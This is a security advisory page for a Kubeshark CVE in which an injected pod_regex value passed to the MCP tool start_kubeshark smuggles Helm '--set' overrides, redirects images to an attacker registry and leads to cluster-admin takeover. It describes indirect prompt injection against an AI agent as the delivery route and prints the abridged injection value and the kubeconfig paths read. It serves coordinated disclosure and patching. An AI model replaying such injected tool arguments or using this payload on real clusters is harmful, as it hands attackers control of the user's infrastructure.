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HIGH severity

CVE-2026-129236 — kubeshark

HIGHFix: kubeshark/kubeshark@a76a192

CVE-2026-129236 is a high-severity (CVSS 7.2) CWE-88 vulnerability in github.com/kubeshark/kubeshark. A fix is available for github.com/kubeshark/kubeshark — see the affected versions and patch details below.

Kubeshark: MCP `start_kubeshark` argument injection via `pod_regex` → image redirect → cluster takeover

Also known asGHSA-8vf2-hxg5-crqh
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 17, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • A successful exploit gives an attacker total control of the affected component, not partial access.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-129236.

Real-World Exposure

1 pkg affected
🐹github.com/kubeshark/kubeshark

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Ecosystem / package: Go — github.com/kubeshark/kubeshark (the kubeshark CLI, kubeshark mcp subcommand) Affected component: cmd/mcpRunner.go, MCP tool start_kubeshark Affected versions: >= v53.1.0, < v53.4.0 (the flaw shipped with the MCP command's first release; v53.3.0 was the last affected release) Patched version: v53.4.0 Credit: novice-22 (Urim), via private coordinated disclosure.

Summary

The start_kubeshark MCP tool builds a kubeshark tap command by appending the caller-supplied pod_regex as a bare positional argument, with no -- end-of-options separator. Because tap is a cobra command, a pod_regex that begins with -/--set= is parsed as a flag, not as the pod regex. An attacker who can influence the tool arguments (e.g. indirect prompt injection against an agent driving kubeshark mcp --allow-destructive) can inject arbitrary --set Helm value overrides — notably tap.docker.registry / tap.docker.tag — redirecting the deployed worker/hub/front images to an attacker-controlled registry. The worker DaemonSet runs privileged with hostNetwork and the host filesystem mounted, so an attacker image yields node and cluster-admin compromise.

Introduced in

Commit 0bbbb473 — "[1] Add MCP (Model Context Protocol) server command (#1832)", 2026-02-06 — first released in v53.1.0 (v53.1.0~23). The pod_regex argument has been appended as a bare positional since the tool's introduction; there is no regression window, every MCP-capable release is affected.

Details

In callStartKubeshark (cmd/mcpRunner.go), the command was built as ["tap", <pod_regex>, "-n", …, "--set", …, "--set", "headless=true"] with pod_regex inserted as a raw element. cobra parses flags positionally-agnostic and there was no -- guard, so pod_regex="--set=tap.docker.registry=…,tap.docker.tag=…" became a real --set. The tool is only registered when kubeshark mcp --allow-destructive is set.

Proof of concept (reporter, abridged)

Driving kubeshark mcp --allow-destructive: start_kubeshark with pod_regex="--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>" caused the CLI to construct kubeshark tap --set=… --set headless=true, deploying an attacker image. The image ran as root inside the privileged worker container and read the host's cluster-admin kubeconfigs (/etc/kubernetes/super-admin.conf, admin.conf, pki/) — i.e. cluster-admin takeover from a single pod_regex value.

Impact

Full Kubernetes cluster compromise (cluster-admin) from a single injected tool argument, when the operator runs the MCP server with --allow-destructive.

Severity rationale

Kubeshark scores this 7.2 High, down from the reporter's 8.3, on two metrics. The impact half of the vector (S:C/C:H/I:H/A:H) is unchanged — cluster-admin takeover is real and Kubeshark does not contest it.

  • AV:N → AV:L. kubeshark mcp is a local stdio MCP server with no network listener. The attacker's payload reaches it as content an agent running on that host ingested and replayed into a local tool call. The poisoned content may have travelled over a network, but the exploited interface is local.
  • PR:N → PR:H. Two administrative preconditions must already hold on the target host: the operator must have started the MCP server with the explicit, non-default --allow-destructive flag (without it start_kubeshark is not registered at all), and that host must already hold a kubeconfig with permission to deploy the privileged Kubeshark DaemonSet. The attacker is borrowing an existing high-privilege context, not gaining one.

Kubeshark kept AC:H (the injection must land in content the agent ingests, and the attacker must stand up a malicious registry/image), UI:R (an operator must be actively driving the agent), and S:C (the compromise crosses from the CLI's authorization scope into the Kubernetes cluster — this is what keeps the score in the High band).

Patches

Fixed in v53.4.0 by commit a76a1920 (PR #1957).

In cmd/mcpRunner.go: pod_regex is now appended last, after a literal -- end-of-options separator, so it is always parsed as the [POD REGEX] positional and can never be interpreted as a flag. (namespaces / release_namespace are passed through -n / -s value flags, which consume their value token and are therefore not injectable.)

Workarounds

  • Do not run kubeshark mcp with --allow-destructive unless required.
  • Do not expose the MCP server to untrusted content / untrusted agent inputs.
  • Restrict the kubeconfig/permissions available to the machine running the MCP server.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/kubeshark/kubeshark≥ 0.0.2-0.20260206182249-0bbbb473ea3f&&< 0.0.2-0.20260812200004-a76a1920dc750.0.2-0.20260812200004-a76a1920dc75go get github.com/kubeshark/kubeshark@v0.0.2-0.20260812200004-a76a1920dc75

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kubeshark/kubeshark, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/kubeshark/kubeshark to 0.0.2-0.20260812200004-a76a1920dc75 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-129236 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

**Ecosystem / package:** Go — `github.com/kubeshark/kubeshark` (the `kubeshark` CLI, `kubeshark mcp` subcommand) **Affected component:** `cmd/mcpRunner.go`, MCP tool `start_kubeshark` **Affected versions:** `>= v53.1.0`, `< v53.4.0` (the flaw shipped with the MCP command's first release; v53.3.0 was the last affected release) **Patched version:** `v53.4.0` **Credit:** novice-22 (Urim), via private coordinated disclosure. ## Summary The `start_kubeshark` MCP tool builds a `kubeshark tap` command by appending the caller-supplied `pod_regex` as a bare positional argument, with no `--` end-of-opt
O3 Security · Impact-Aware SCA

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